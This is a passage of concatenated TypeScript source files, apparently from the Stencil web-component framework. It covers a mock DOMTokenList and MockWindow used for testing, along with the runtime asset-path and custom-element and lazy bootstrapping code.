    private attr: string,
  ) {}

  add(...tokens: string[]) {
    const items = getItems(this.elm, this.attr);
    let updated = false;
    tokens.forEach((token) => {
      token = String(token);
      validateToken(token);
      if (items.includes(token) === false) {
        items.push(token);
        updated = true;
      }
    });
    if (updated) {
      this.elm.setAttributeNS(null, this.attr, items.join(' '));
    }
  }

  remove(...tokens: string[]) {
    const items = getItems(this.elm, this.attr);
    let updated = false;
    tokens.forEach((token) => {
      token = String(token);
      validateToken(token);
      const index = items.indexOf(token);
      if (index > -1) {
        items.splice(index, 1);
        updated = true;
      }
    });
    if (updated) {
      this.elm.setAttributeNS(null, this.attr, items.filter((c) => c.length > 0).join(' '));
    }
  }

  contains(token: string) {
    token = String(token);
    return getItems(this.elm, this.attr).includes(token);
  }

  toggle(token: string) {
    token = String(token);
    if (this.contains(token) === true) {
      this.remove(token);
    } else {
      this.add(token);
    }
  }

  get length() {
    return getItems(this.elm, this.attr).length;
  }

  item(index: number) {
    return getItems(this.elm, this.attr)[index];
  }

  toString() {
    return getItems(this.elm, this.attr).join(' ');
  }
}

function validateToken(token: string) {
  if (token === '') {
    throw new Error('The token provided must not be empty.');
  }
  if (/\s/.test(token)) {
    throw new Error(`The token provided ('${token}') contains HTML space characters, which are not valid in tokens.`);
  }
}

function getItems(elm: HTMLElement, attr: string) {
  const value = elm.getAttribute(attr);
  if (typeof value === 'string' && value.length > 0) {
    return value
      .trim()
      .split(' ')
      .filter((c) => c.length > 0);
  }
  return [];
}


================================================
FILE: src/mock-doc/window.ts
================================================
import { MockHeaders } from '.';
import { createConsole } from './console';
import { MockCustomElementRegistry } from './custom-element-registry';
import { MockDocument, resetDocument } from './document';
import { MockDocumentFragment } from './document-fragment';
import { MockSVGElement } from './element';
import {
  addEventListener,
  dispatchEvent,
  MockCustomEvent,
  MockEvent,
  MockFocusEvent,
  MockKeyboardEvent,
  MockMouseEvent,
  removeEventListener,
  resetEventListeners,
} from './event';
import { addGlobalsToWindowPrototype } from './global';
import { MockHistory } from './history';
import { MockIntersectionObserver } from './intersection-observer';
import { MockLocation } from './location';
import { MockNavigator } from './navigator';
import { MockElement, MockHTMLElement, MockNode, MockNodeList } from './node';
import { MockPerformance, resetPerformance } from './performance';
import { MockResizeObserver } from './resize-observer';
import { MockShadowRoot } from './shadow-root';
import { MockStorage } from './storage';

const nativeClearInterval = globalThis.clearInterval;
const nativeClearTimeout = globalThis.clearTimeout;
const nativeSetInterval = globalThis.setInterval;
const nativeSetTimeout = globalThis.setTimeout;
const nativeURL = globalThis.URL;
const nativeWindow = globalThis.window;

export class MockWindow {
  __timeouts: Set;
  __history: MockHistory;
  __elementCstr: any;
  __charDataCstr: any;
  __docTypeCstr: any;
  __docCstr: any;
  __docFragCstr: any;
  __domTokenListCstr: any;
  __nodeCstr: any;
  __nodeListCstr: any;
  __localStorage: MockStorage;
  __sessionStorage: MockStorage;
  __location: MockLocation;
  __navigator: MockNavigator;
  __clearInterval: typeof nativeClearInterval;
  __clearTimeout: typeof nativeClearTimeout;
  __setInterval: typeof nativeSetInterval;
  __setTimeout: typeof nativeSetTimeout;
  __maxTimeout: number;
  __allowInterval: boolean;
  URL: typeof URL;

  console: Console;
  customElements: CustomElementRegistry;
  document: Document;
  performance: Performance;

  devicePixelRatio: number;
  innerHeight: number;
  innerWidth: number;
  pageXOffset: number;
  pageYOffset: number;
  screen: Screen;
  screenLeft: number;
  screenTop: number;
  screenX: number;
  screenY: number;
  scrollX: number;
  scrollY: number;

  // event handlers
  declare CustomEvent: typeof MockCustomEvent;
  declare Event: typeof MockEvent;
  declare Headers: typeof MockHeaders;
  declare FocusEvent: typeof MockFocusEvent;
  declare KeyboardEvent: typeof MockKeyboardEvent;
  declare MouseEvent: typeof MockMouseEvent;

  constructor(html: string | boolean = null) {
    if (html !== false) {
      this.document = new MockDocument(html, this) as any;
    } else {
      this.document = null;
    }
    this.performance = new MockPerformance();
    this.customElements = new MockCustomElementRegistry(this as any);
    this.console = createConsole();
    resetWindowDefaults(this);
    resetWindowDimensions(this);
  }

  addEventListener(type: string, handler: (ev?: any) => void) {
    addEventListener(this, type, handler);
  }

  alert(msg: string) {
    if (this.console) {
      this.console.debug(msg);
    } else {
      console.debug(msg);
    }
  }

  blur(): any {
    /**/
  }

  cancelAnimationFrame(id: any) {
    this.__clearTimeout.call(nativeWindow || this, id);
  }

  cancelIdleCallback(id: any) {
    this.__clearTimeout.call(nativeWindow || this, id);
  }

  get CharacterData() {
    if (this.__charDataCstr == null) {
      const ownerDocument = this.document;
      this.__charDataCstr = class extends MockNode {
        constructor() {
          super(ownerDocument, 0, 'test', '');
          throw new Error('Illegal constructor: cannot construct CharacterData');
        }
      };
    }
    return this.__charDataCstr;
  }
  set CharacterData(charDataCstr: any) {
    this.__charDataCstr = charDataCstr;
  }

  clearInterval(id: any) {
    this.__clearInterval.call(nativeWindow || this, id);
  }

  clearTimeout(id: any) {
    this.__clearTimeout.call(nativeWindow || this, id);
  }

  close() {
    resetWindow(this as any);
  }

  confirm() {
    return false;
  }

  get CSS() {
    return {
      supports: () => true,
    };
  }

  get Document() {
    if (this.__docCstr == null) {
      const win = this;
      this.__docCstr = class extends MockDocument {
        constructor() {
          super(false, win);
          throw new Error('Illegal constructor: cannot construct Document');
        }
      };
    }
    return this.__docCstr;
  }
  set Document(docCstr: any) {
    this.__docCstr = docCstr;
  }

  get DocumentFragment() {
    if (this.__docFragCstr == null) {
      const ownerDocument = this.document;
      this.__docFragCstr = class extends MockDocumentFragment {
        constructor() {
          super(ownerDocument);
          throw new Error('Illegal constructor: cannot construct DocumentFragment');
        }
      };
    }
    return this.__docFragCstr;
  }
  set DocumentFragment(docFragCstr: any) {
    this.__docFragCstr = docFragCstr;
  }

  get ShadowRoot() {
    return MockShadowRoot;
  }

  get DocumentType() {
    if (this.__docTypeCstr == null) {
      const ownerDocument = this.document;
      this.__docTypeCstr = class extends MockNode {
        constructor() {
          super(ownerDocument, 0, 'test', '');
          throw new Error('Illegal constructor: cannot construct DocumentType');
        }
      };
    }
    return this.__docTypeCstr;
  }
  set DocumentType(docTypeCstr: any) {
    this.__docTypeCstr = docTypeCstr;
  }

  get DOMTokenList() {
    if (this.__domTokenListCstr == null) {
      this.__domTokenListCstr = class MockDOMTokenList {};
    }
    return this.__domTokenListCstr;
  }
  set DOMTokenList(domTokenListCstr: any) {
    this.__domTokenListCstr = domTokenListCstr;
  }

  dispatchEvent(ev: MockEvent) {
    return dispatchEvent(this, ev);
  }

  get Element() {
    return MockElement;
  }

  fetch(input: any, init?: any): any {
    if (typeof fetch === 'function') {
      return fetch(input, init);
    }
    throw new Error(`fetch() not implemented`);
  }

  focus(): any {
    /**/
  }

  getComputedStyle(_: any) {
    return {
      cssText: '',
      length: 0,
      parentRule: null,
      getPropertyPriority(): any {
        return null;
      },
      getPropertyValue(): any {
        return '';
      },
      item(): any {
        return null;
      },
      removeProperty(): any {
        return null;
      },
      setProperty(): any {
        return null;
      },
    } as any;
  }

  get globalThis() {
    return this;
  }

  get history() {
    if (this.__history == null) {
      this.__history = new MockHistory();
    }
    return this.__history;
  }
  set history(hsty: any) {
    this.__history = hsty;
  }

  get JSON() {
    return JSON;
  }

  get HTMLElement() {
    return MockHTMLElement;
  }

  get SVGElement() {
    return MockSVGElement;
  }

  get IntersectionObserver() {
    return MockIntersectionObserver;
  }

  get ResizeObserver() {
    return MockResizeObserver;
  }

  get localStorage() {
    if (this.__localStorage == null) {
      this.__localStorage = new MockStorage();
    }
    return this.__localStorage;
  }
  set localStorage(locStorage: MockStorage) {
    this.__localStorage = locStorage;
  }

  get location(): MockLocation {
    if (this.__location == null) {
      this.__location = new MockLocation();
    }
    return this.__location;
  }
  set location(val: Location | string) {
    if (typeof val === 'string') {
      if (this.__location == null) {
        this.__location = new MockLocation();
      }
      this.__location.href = val;
    } else {
      this.__location = val as any;
    }
  }

  matchMedia(media: string) {
    return {
      media,
      matches: false,
      addListener: (_handler: (ev?: any) => void) => {},
      removeListener: (_handler: (ev?: any) => void) => {},
      addEventListener: (_type: string, _handler: (ev?: any) => void) => {},
      removeEventListener: (_type: string, _handler: (ev?: any) => void) => {},
      dispatchEvent: (_ev: any) => {},
      onchange: null as ((this: MediaQueryList, ev: MediaQueryListEvent) => any) | null,
    };
  }

  get Node() {
    return MockNode;
  }

  get NodeList() {
    if (this.__nodeListCstr == null) {
      const ownerDocument = this.document;
      this.__nodeListCstr = class extends MockNodeList {
        constructor() {
          super(ownerDocument, [], 0);
          throw new Error('Illegal constructor: cannot construct NodeList');
        }
      };
    }
    return this.__nodeListCstr;
  }

  get navigator() {
    if (this.__navigator == null) {
      this.__navigator = new MockNavigator();
    }
    return this.__navigator;
  }
  set navigator(nav: any) {
    this.__navigator = nav;
  }

  get parent(): any {
    return null;
  }

  prompt() {
    return '';
  }

  open(): any {
    return null;
  }

  get origin() {
    return this.location.origin;
  }

  removeEventListener(type: string, handler: any) {
    removeEventListener(this, type, handler);
  }

  requestAnimationFrame(callback: (timestamp: number) => void) {
    return this.setTimeout(() => {
      callback(Date.now());
    }, 0) as number;
  }

  requestIdleCallback(callback: (deadline: { didTimeout: boolean; timeRemaining: () => number }) => void) {
    return this.setTimeout(() => {
      callback({
        didTimeout: false,
        timeRemaining: () => 0,
      });
    }, 0);
  }

  scroll(_x?: number, _y?: number) {
    /**/
  }

  scrollBy(_x?: number, _y?: number) {
    /**/
  }

  scrollTo(_x?: number, _y?: number) {
    /**/
  }

  get self() {
    return this;
  }

  get sessionStorage() {
    if (this.__sessionStorage == null) {
      this.__sessionStorage = new MockStorage();
    }
    return this.__sessionStorage;
  }
  set sessionStorage(locStorage: any) {
    this.__sessionStorage = locStorage;
  }

  setInterval(callback: (...args: any[]) => void, ms: number, ...args: any[]): number {
    if (this.__timeouts == null) {
      this.__timeouts = new Set();
    }

    ms = Math.min(ms ?? 0, this.__maxTimeout);

    if (this.__allowInterval) {
      const intervalId = this.__setInterval(() => {
        if (this.__timeouts) {
          this.__timeouts.delete(intervalId);

          try {
            callback(...args);
          } catch (e) {
            if (this.console) {
              this.console.error(e);
            } else {
              console.error(e);
            }
          }
        }
      }, ms) as any;

      if (this.__timeouts) {
        this.__timeouts.add(intervalId);
      }

      return intervalId;
    }

    const timeoutId = this.__setTimeout.call(
      nativeWindow || this,
      () => {
        if (this.__timeouts) {
          this.__timeouts.delete(timeoutId);

          try {
            callback(...args);
          } catch (e) {
            if (this.console) {
              this.console.error(e);
            } else {
              console.error(e);
            }
          }
        }
      },
      ms,
    ) as any;

    if (this.__timeouts) {
      this.__timeouts.add(timeoutId);
    }

    return timeoutId;
  }

  setTimeout(callback: (...args: any[]) => void, ms: number, ...args: any[]): number {
    if (this.__timeouts == null) {
      this.__timeouts = new Set();
    }

    ms = Math.min(ms ?? 0, this.__maxTimeout);

    const timeoutId = this.__setTimeout.call(
      nativeWindow || this,
      () => {
        if (this.__timeouts) {
          this.__timeouts.delete(timeoutId);

          try {
            callback(...args);
          } catch (e) {
            if (this.console) {
              this.console.error(e);
            } else {
              console.error(e);
            }
          }
        }
      },
      ms,
    ) as any as number;

    if (this.__timeouts) {
      this.__timeouts.add(timeoutId);
    }

    return timeoutId;
  }

  get top() {
    return this;
  }

  get window() {
    return this;
  }

  onanimationstart() {
    /**/
  }
  onanimationend() {
    /**/
  }
  onanimationiteration() {
    /**/
  }
  onabort() {
    /**/
  }
  onauxclick() {
    /**/
  }
  onbeforecopy() {
    /**/
  }
  onbeforecut() {
    /**/
  }
  onbeforepaste() {
    /**/
  }
  onblur() {
    /**/
  }
  oncancel() {
    /**/
  }
  oncanplay() {
    /**/
  }
  oncanplaythrough() {
    /**/
  }
  onchange() {
    /**/
  }
  onclick() {
    /**/
  }
  onclose() {
    /**/
  }
  oncontextmenu() {
    /**/
  }
  oncopy() {
    /**/
  }
  oncuechange() {
    /**/
  }
  oncut() {
    /**/
  }
  ondblclick() {
    /**/
  }
  ondrag() {
    /**/
  }
  ondragend() {
    /**/
  }
  ondragenter() {
    /**/
  }
  ondragleave() {
    /**/
  }
  ondragover() {
    /**/
  }
  ondragstart() {
    /**/
  }
  ondrop() {
    /**/
  }
  ondurationchange() {
    /**/
  }
  onemptied() {
    /**/
  }
  onended() {
    /**/
  }
  onerror() {
    /**/
  }
  onfocus() {
    /**/
  }
  onfocusin() {
    /**/
  }
  onfocusout() {
    /**/
  }
  onformdata() {
    /**/
  }
  onfullscreenchange() {
    /**/
  }
  onfullscreenerror() {
    /**/
  }
  ongotpointercapture() {
    /**/
  }
  oninput() {
    /**/
  }
  oninvalid() {
    /**/
  }
  onkeydown() {
    /**/
  }
  onkeypress() {
    /**/
  }
  onkeyup() {
    /**/
  }
  onload() {
    /**/
  }
  onloadeddata() {
    /**/
  }
  onloadedmetadata() {
    /**/
  }
  onloadstart() {
    /**/
  }
  onlostpointercapture() {
    /**/
  }
  onmousedown() {
    /**/
  }
  onmouseenter() {
    /**/
  }
  onmouseleave() {
    /**/
  }
  onmousemove() {
    /**/
  }
  onmouseout() {
    /**/
  }
  onmouseover() {
    /**/
  }
  onmouseup() {
    /**/
  }
  onmousewheel() {
    /**/
  }
  onpaste() {
    /**/
  }
  onpause() {
    /**/
  }
  onplay() {
    /**/
  }
  onplaying() {
    /**/
  }
  onpointercancel() {
    /**/
  }
  onpointerdown() {
    /**/
  }
  onpointerenter() {
    /**/
  }
  onpointerleave() {
    /**/
  }
  onpointermove() {
    /**/
  }
  onpointerout() {
    /**/
  }
  onpointerover() {
    /**/
  }
  onpointerup() {
    /**/
  }
  onprogress() {
    /**/
  }
  onratechange() {
    /**/
  }
  onreset() {
    /**/
  }
  onresize() {
    /**/
  }
  onscroll() {
    /**/
  }
  onsearch() {
    /**/
  }
  onseeked() {
    /**/
  }
  onseeking() {
    /**/
  }
  onselect() {
    /**/
  }
  onselectstart() {
    /**/
  }
  onstalled() {
    /**/
  }
  onsubmit() {
    /**/
  }
  onsuspend() {
    /**/
  }
  ontimeupdate() {
    /**/
  }
  ontoggle() {
    /**/
  }
  onvolumechange() {
    /**/
  }
  onwaiting() {
    /**/
  }
  onwebkitfullscreenchange() {
    /**/
  }
  onwebkitfullscreenerror() {
    /**/
  }
  onwheel() {
    /**/
  }
}

addGlobalsToWindowPrototype(MockWindow.prototype);

function resetWindowDefaults(win: MockWindow) {
  win.__clearInterval = nativeClearInterval;
  win.__clearTimeout = nativeClearTimeout;
  win.__setInterval = nativeSetInterval;
  win.__setTimeout = nativeSetTimeout;
  win.__maxTimeout = 60000;
  win.__allowInterval = true;
  win.URL = nativeURL;
}

export function createWindow(html: string | boolean = null): Window {
  return new MockWindow(html) as any;
}

export function cloneWindow(srcWin: Window, opts: { customElementProxy?: boolean } = {}): MockWindow | null {
  if (srcWin == null) {
    return null;
  }

  const clonedWin = new MockWindow(false);
  if (!opts.customElementProxy) {
    // TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences
    // @ts-ignore
    srcWin.customElements = null;
  }

  if (srcWin.document != null) {
    const clonedDoc = new MockDocument(false, clonedWin);
    clonedWin.document = clonedDoc as any;
    clonedDoc.documentElement = srcWin.document.documentElement.cloneNode(true) as any;
  } else {
    clonedWin.document = new MockDocument(null, clonedWin) as any;
  }
  return clonedWin;
}

export function cloneDocument(srcDoc: Document) {
  if (srcDoc == null || !srcDoc.defaultView) {
    return null;
  }

  const dstWin = cloneWindow(srcDoc.defaultView);
  return dstWin?.document || null;
}

// TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences
/**
 * Constrain setTimeout() to 1ms, but still async. Also
 * only allow setInterval() to fire once, also constrained to 1ms.
 * @param win the mock window instance to update
 */
export function constrainTimeouts(win: any) {
  (win as MockWindow).__allowInterval = false;
  (win as MockWindow).__maxTimeout = 0;
}

function resetWindow(win: MockWindow) {
  if (win != null) {
    if (win.__timeouts) {
      win.__timeouts.forEach((timeoutId) => {
        nativeClearInterval(timeoutId);
        nativeClearTimeout(timeoutId);
      });
      win.__timeouts.clear();
    }
    if (win.customElements && (win.customElements as MockCustomElementRegistry).clear) {
      (win.customElements as MockCustomElementRegistry).clear();
    }

    resetDocument(win.document);
    resetPerformance(win.performance);

    for (const key in win) {
      if (win.hasOwnProperty(key) && key !== 'document' && key !== 'performance' && key !== 'customElements') {
        delete (win as any)[key];
      }
    }
    resetWindowDefaults(win);
    resetWindowDimensions(win);
    resetEventListeners(win);

    if (win.document != null) {
      try {
        (win.document as any).defaultView = win;
      } catch (e) {}
    }

    // ensure we don't hold onto nodeFetch values
    (win as any).fetch = null;
    (win as any).Headers = null;
    (win as any).Request = null;
    (win as any).Response = null;
    (win as any).FetchError = null;
  }
}

function resetWindowDimensions(win: MockWindow) {
  try {
    win.devicePixelRatio = 1;

    win.innerHeight = 768;
    win.innerWidth = 1366;

    win.pageXOffset = 0;
    win.pageYOffset = 0;

    win.screenLeft = 0;
    win.screenTop = 0;
    win.screenX = 0;
    win.screenY = 0;
    win.scrollX = 0;
    win.scrollY = 0;

    win.screen = {
      availHeight: win.innerHeight,
      availLeft: 0,
      availTop: 0,
      availWidth: win.innerWidth,
      colorDepth: 24,
      height: win.innerHeight,
      keepAwake: false,
      orientation: {
        angle: 0,
        type: 'portrait-primary',
      } as any,
      pixelDepth: 24,
      width: win.innerWidth,
    } as any;
  } catch (e) {}
}


================================================
FILE: src/runtime/asset-path.ts
================================================
import { plt, win } from '@platform';

export const getAssetPath = (path: string) => {
  const assetUrl = new URL(path, plt.$resourcesUrl$);
  return assetUrl.origin !== win.location.origin ? assetUrl.href : assetUrl.pathname;
};

export const setAssetPath = (path: string) => (plt.$resourcesUrl$ = path);


================================================
FILE: src/runtime/bootstrap-custom-element.ts
================================================
import { BUILD } from '@app-data';
import {
  addHostEventListeners,
  consoleError,
  forceUpdate,
  getHostRef,
  registerHost,
  styles,
  supportsShadow,
  transformTag,
} from '@platform';

import type * as d from '../declarations';
import { CMP_FLAGS } from '../utils/constants';
import { createShadowRoot } from '../utils/shadow-root';
import { connectedCallback } from './connected-callback';
import { disconnectedCallback } from './disconnected-callback';
import {
  patchChildSlotNodes,
  patchCloneNode,
  patchPseudoShadowDom,
  patchSlotAppendChild,
  patchTextContent,
} from './dom-extras';
import { computeMode } from './mode';
import { proxyComponent } from './proxy-component';
import { PROXY_FLAGS } from './runtime-constants';
import { attachStyles, getScopeId, hydrateScopedToShadow, registerStyle } from './styles';

export const defineCustomElement = (Cstr: any, compactMeta: d.ComponentRuntimeMetaCompact) => {
  customElements.define(
    transformTag(compactMeta[1]),
    proxyCustomElement(Cstr, compactMeta) as CustomElementConstructor,
  );
};

export const proxyCustomElement = (Cstr: any, compactMeta: d.ComponentRuntimeMetaCompact) => {
  const cmpMeta: d.ComponentRuntimeMeta = {
    $flags$: compactMeta[0],
    $tagName$: compactMeta[1],
  };
  try {
    if (BUILD.member) {
      cmpMeta.$members$ = compactMeta[2];
    }
    if (BUILD.hostListener) {
      cmpMeta.$listeners$ = compactMeta[3];
    }
    if (BUILD.propChangeCallback) {
      cmpMeta.$watchers$ = Cstr.$watchers$;
      cmpMeta.$deserializers$ = Cstr.$deserializers$;
      cmpMeta.$serializers$ = Cstr.$serializers$;
    }
    if (BUILD.reflect) {
      cmpMeta.$attrsToReflect$ = [];
    }
    if (BUILD.shadowDom && !supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {
      // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field
      cmpMeta.$flags$ |= CMP_FLAGS.needsShadowDomShim;
    }

    if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && cmpMeta.$flags$ & CMP_FLAGS.hasSlot) {
      if (BUILD.experimentalSlotFixes) {
        patchPseudoShadowDom(Cstr.prototype);
      } else {
        if (BUILD.slotChildNodesFix) {
          patchChildSlotNodes(Cstr.prototype);
        }
        if (BUILD.cloneNodeFix) {
          patchCloneNode(Cstr.prototype);
        }
        if (BUILD.appendChildSlotFix) {
          patchSlotAppendChild(Cstr.prototype);
        }
        if (BUILD.scopedSlotTextContentFix && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {
          patchTextContent(Cstr.prototype);
        }
      }
    } else if (BUILD.cloneNodeFix) {
      patchCloneNode(Cstr.prototype);
    }

    if (BUILD.hydrateClientSide && BUILD.shadowDom) {
      hydrateScopedToShadow();
    }

    const originalConnectedCallback = Cstr.prototype.connectedCallback;
    const originalDisconnectedCallback = Cstr.prototype.disconnectedCallback;
    Object.assign(Cstr.prototype, {
      __hasHostListenerAttached: false,
      __registerHost() {
        registerHost(this, cmpMeta);
      },
      connectedCallback() {
        if (!this.__hasHostListenerAttached) {
          const hostRef = getHostRef(this);
          if (!hostRef) {
            return;
          }
          addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false);
          this.__hasHostListenerAttached = true;
        }

        connectedCallback(this);
        if (originalConnectedCallback) {
          originalConnectedCallback.call(this);
        }
      },
      disconnectedCallback() {
        disconnectedCallback(this);
        if (originalDisconnectedCallback) {
          originalDisconnectedCallback.call(this);
        }
      },
      __attachShadow() {
        if (supportsShadow) {
          if (!this.shadowRoot) {
            createShadowRoot.call(this, cmpMeta);
          } else {
            // we want to check to make sure that the mode for the shadow
            // root already attached to the element (i.e. created via DSD)
            // is set to 'open' since that's the only mode we support
            if (this.shadowRoot.mode !== 'open') {
              throw new Error(
                `Unable to re-use existing shadow root for ${cmpMeta.$tagName$}! Mode is set to ${this.shadowRoot.mode} but Stencil only supports open shadow roots.`,
              );
            }
          }
        } else {
          (this as any).shadowRoot = this;
        }
      },
    });
    Object.defineProperty(Cstr, 'is', {
      value: cmpMeta.$tagName$,
      configurable: true,
    });

    return proxyComponent(Cstr, cmpMeta, PROXY_FLAGS.isElementConstructor | PROXY_FLAGS.proxyState);
  } catch (e) {
    consoleError(e);
    return Cstr;
  }
};

export const forceModeUpdate = (elm: d.RenderNode) => {
  if (BUILD.style && BUILD.mode && !BUILD.lazyLoad) {
    const mode = computeMode(elm);
    const hostRef = getHostRef(elm);

    if (hostRef && hostRef.$modeName$ !== mode) {
      const cmpMeta = hostRef.$cmpMeta$;
      const oldScopeId = elm['s-sc'];
      const scopeId = getScopeId(cmpMeta, mode);
      const style = (elm.constructor as any).style[mode];
      const flags = cmpMeta.$flags$;
      if (style) {
        if (!styles.has(scopeId)) {
          registerStyle(scopeId, style, !!(flags & CMP_FLAGS.shadowDomEncapsulation));
        }
        hostRef.$modeName$ = mode;
        elm.classList.remove(oldScopeId + '-h', oldScopeId + '-s');
        attachStyles(hostRef);
        forceUpdate(elm);
      }
    }
  }
};


================================================
FILE: src/runtime/bootstrap-lazy.ts
================================================
import { BUILD } from '@app-data';
import { getHostRef, plt, registerHost, supportsShadow, transformTag, win } from '@platform';
import { addHostEventListeners } from '@runtime';

import type * as d from '../declarations';
import { CMP_FLAGS } from '../utils/constants';
import { queryNonceMetaTagContent } from '../utils/query-nonce-meta-tag-content';
import { createShadowRoot } from '../utils/shadow-root';
import { connectedCallback } from './connected-callback';
import { disconnectedCallback } from './disconnected-callback';
import {
  patchChildSlotNodes,
  patchCloneNode,
  patchPseudoShadowDom,
  patchSlotAppendChild,
  patchTextContent,
} from './dom-extras';
import { hmrStart } from './hmr-component';
import { createTime, installDevTools } from './profile';
import { proxyComponent } from './proxy-component';
import { HYDRATED_CSS, PLATFORM_FLAGS, PROXY_FLAGS, SLOT_FB_CSS } from './runtime-constants';
import { hydrateScopedToShadow } from './styles';
import { appDidLoad } from './update-component';
export { setNonce } from '@platform';

export const bootstrapLazy = (lazyBundles: d.LazyBundlesRuntimeData, options: d.CustomElementsDefineOptions = {}) => {
  if (BUILD.profile && performance.mark) {
    performance.mark('st:app:start');
  }
  installDevTools();

  if (!win.document) {
    console.warn('Stencil: No document found. Skipping bootstrapping lazy components.');
    return;
  }

  const endBootstrap = createTime('bootstrapLazy');
  const cmpTags: string[] = [];
  const exclude = options.exclude || [];
  const customElements = win.customElements;
  const head = win.document.head;
  const metaCharset = /*@__PURE__*/ head.querySelector('meta[charset]');
  const dataStyles = /*@__PURE__*/ win.document.createElement('style');
  const deferredConnectedCallbacks: { connectedCallback: () => void }[] = [];
  let appLoadFallback: any;
  let isBootstrapping = true;

  Object.assign(plt, options);
  plt.$resourcesUrl$ = new URL(options.resourcesUrl || './', win.document.baseURI).href;
  if (BUILD.asyncQueue) {
    if (options.syncQueue) {
      plt.$flags$ |= PLATFORM_FLAGS.queueSync;
    }
  }
  if (BUILD.hydrateClientSide) {
    // If the app is already hydrated there is not point to disable the
    // async queue. This will improve the first input delay
    plt.$flags$ |= PLATFORM_FLAGS.appLoaded;
  }

  if (BUILD.hydrateClientSide && BUILD.shadowDom) {
    hydrateScopedToShadow();
  }

  let hasSlotRelocation = false;
  lazyBundles.map((lazyBundle) => {
    lazyBundle[1].map((compactMeta) => {
      const cmpMeta: d.ComponentRuntimeMeta = {
        $flags$: compactMeta[0],
        $tagName$: compactMeta[1],
        $members$: compactMeta[2],
        $listeners$: compactMeta[3],
      };

      // Check if we are using slots outside the shadow DOM in this component.
      // We'll use this information later to add styles for `slot-fb` elements
      if (cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation) {
        hasSlotRelocation = true;
      }

      if (BUILD.member) {
        cmpMeta.$members$ = compactMeta[2];
      }
      if (BUILD.hostListener) {
        cmpMeta.$listeners$ = compactMeta[3];
      }
      if (BUILD.reflect) {
        cmpMeta.$attrsToReflect$ = [];
      }
      if (BUILD.propChangeCallback) {
        cmpMeta.$watchers$ = compactMeta[4] ?? {};
        cmpMeta.$serializers$ = compactMeta[5] ?? {};
        cmpMeta.$deserializers$ = compactMeta[6] ?? {};
      }
      if (BUILD.shadowDom && !supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {
        // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field
        cmpMeta.$flags$ |= CMP_FLAGS.needsShadowDomShim;
      }
      // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove `BUILD.transformTagName` & `transformTagName` in 5.0
      const tagName =
        BUILD.transformTagName && options.transformTagName
          ? options.transformTagName(cmpMeta.$tagName$)
          : transformTag(cmpMeta.$tagName$);
      const HostElement = class extends HTMLElement {
        ['s-p']: Promise[];
        ['s-rc']: (() => void)[];
        hasRegisteredEventListeners = false;

        // StencilLazyHost
        constructor(self: HTMLElement) {
          // @ts-ignore
          super(self);
          self = this;

          registerHost(self, cmpMeta);
          if (BUILD.shadowDom && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {
            // this component is using shadow dom
            // and this browser supports shadow dom
            // add the read-only property "shadowRoot" to the host element
            // adding the shadow root build conditionals to minimize runtime
            if (supportsShadow) {
              if (!self.shadowRoot) {
                // we don't want to call `attachShadow` if there's already a shadow root
                // attached to the component
                createShadowRoot.call(self, cmpMeta);
              } else {
                // we want to check to make sure that the mode for the shadow
                // root already attached to the element (i.e. created via DSD)
                // is set to 'open' since that's the only mode we support
                if (self.shadowRoot.mode !== 'open') {
                  throw new Error(
                    `Unable to re-use existing shadow root for ${cmpMeta.$tagName$}! Mode is set to ${self.shadowRoot.mode} but Stencil only supports open shadow roots.`,
                  );
                }
              }
            } else if (!BUILD.hydrateServerSide && !('shadowRoot' in self)) {
              (self as any).shadowRoot = self;
            }
          }
        }

        connectedCallback() {
          const hostRef = getHostRef(this);
          if (!hostRef) {
            return;
          }

          /**
           * The `connectedCallback` lifecycle event can potentially be fired multiple times
           * if the element is removed from the DOM and re-inserted. This is not a common use case,
           * but it can happen in some scenarios. To prevent registering the same event listeners
           * multiple times, we will only register them once.
           */
          if (!this.hasRegisteredEventListeners) {
            this.hasRegisteredEventListeners = true;
            addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false);
          }

          if (appLoadFallback) {
            clearTimeout(appLoadFallback);
            appLoadFallback = null;
          }
          if (isBootstrapping) {
            // connectedCallback will be processed once all components have been registered
            deferredConnectedCallbacks.push(this);
          } else {
            plt.jmp(() => connectedCallback(this));
          }
        }

        disconnectedCallback() {
          plt.jmp(() => disconnectedCallback(this));

          /**
           * Clear up references within the `$vnode$` object to the DOM
           * node that was removed. This is necessary to ensure that these
           * references used as keys in the `hostRef` object can be properly
           * garbage collected.
           *
           * Also remove the reference from `deferredConnectedCallbacks` array
           * otherwise removed instances won't get garbage collected.
           */
          plt.raf(() => {
            const hostRef = getHostRef(this);
            if (!hostRef) {
              return;
            }
            const i = deferredConnectedCallbacks.findIndex((host) => host === this);
            if (i > -1) {
              deferredConnectedCallbacks.splice(i, 1);
            }
            if (hostRef?.$vnode$?.$elm$ instanceof Node && !hostRef.$vnode$.$elm$.isConnected) {
              delete hostRef.$vnode$.$elm$;
            }
          });
        }

        componentOnReady() {
          return getHostRef(this)?.$onReadyPromise$;
        }
      };

      if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && cmpMeta.$flags$ & CMP_FLAGS.hasSlot) {
        if (BUILD.experimentalSlotFixes) {
          patchPseudoShadowDom(HostElement.prototype);
        } else {
          if (BUILD.slotChildNodesFix) {
            patchChildSlotNodes(HostElement.prototype);
          }
          if (BUILD.cloneNodeFix) {
            patchCloneNode(HostElement.prototype);
          }
          if (BUILD.appendChildSlotFix) {
            patchSlotAppendChild(HostElement.prototype);
          }
          if (BUILD.scopedSlotTextContentFix && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {
            patchTextContent(HostElement.prototype);
          }
        }
      } else if (BUILD.cloneNodeFix) {
        patchCloneNode(HostElement.prototype);
      }

      // if the component is formAssociated we need to set that on the host
      // element so that it will be ready for `attachInternals` to be called on
      // it later on
